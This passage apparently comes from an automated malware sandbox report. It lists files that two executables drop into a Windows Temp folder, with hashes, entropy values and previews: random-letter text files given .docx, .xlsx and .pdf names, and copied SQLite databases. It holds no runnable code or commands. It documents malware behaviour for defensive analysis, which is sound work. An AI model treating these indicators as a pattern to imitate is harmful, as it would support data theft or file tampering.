Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\Temp\GAOBCVIQIJ.xlsx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Reputation:	unknown
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\Temp\KNG4E3OZ Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Q9RQQIMO Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QCFWYSKMHA.docx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Reputation:	unknown
Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\Local\Temp\QCFWYSKMHA.xlsx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Reputation:	unknown
Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\Local\Temp\QNCYCDFIJJ.docx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Reputation:	unknown
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\Temp\QNCYCDFIJJ.pdf Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Reputation:	unknown
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\Temp\S2VKXL68 Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.4589421877427324
Encrypted:	false
SSDEEP:	48:T9YBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:2WU+bDoYysX0uhnydVjN9DLjGQLBE3u
MD5:	16B54B80578A453C3615068532495897
SHA1:	03D021364027CDE0E7AE5008940FEB7E07CA293C
SHA-256:	75A16F4B0214A2599ECFBB1F66CAE146B257D11106494858969B19CABCB9B541
SHA-512:	C11979FE1C82B31FDD6457C8C2D157FB4C9DF4FE55457D54104B59F3F880898D82A947049DEB948CA48A5A64A75CFBFC38FDB2E108026EBE7CA9EBE8B1793797
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SQSJKEBWDT.pdf Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Reputation:	unknown
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\Temp\SUAVTZKNFL.pdf Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Reputation:	unknown
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\Temp\SUAVTZKNFL.xlsx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Reputation:	unknown
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\Local\Temp\UKX479HV Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6970840431455908
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
MD5:	00681D89EDDB6AD25E6F4BD2E66C61C6
SHA1:	14B2FBFB460816155190377BBC66AB5D2A15F7AB
SHA-256:	8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
SHA-512:	159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZQIXMVQGAH.docx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Reputation:	unknown
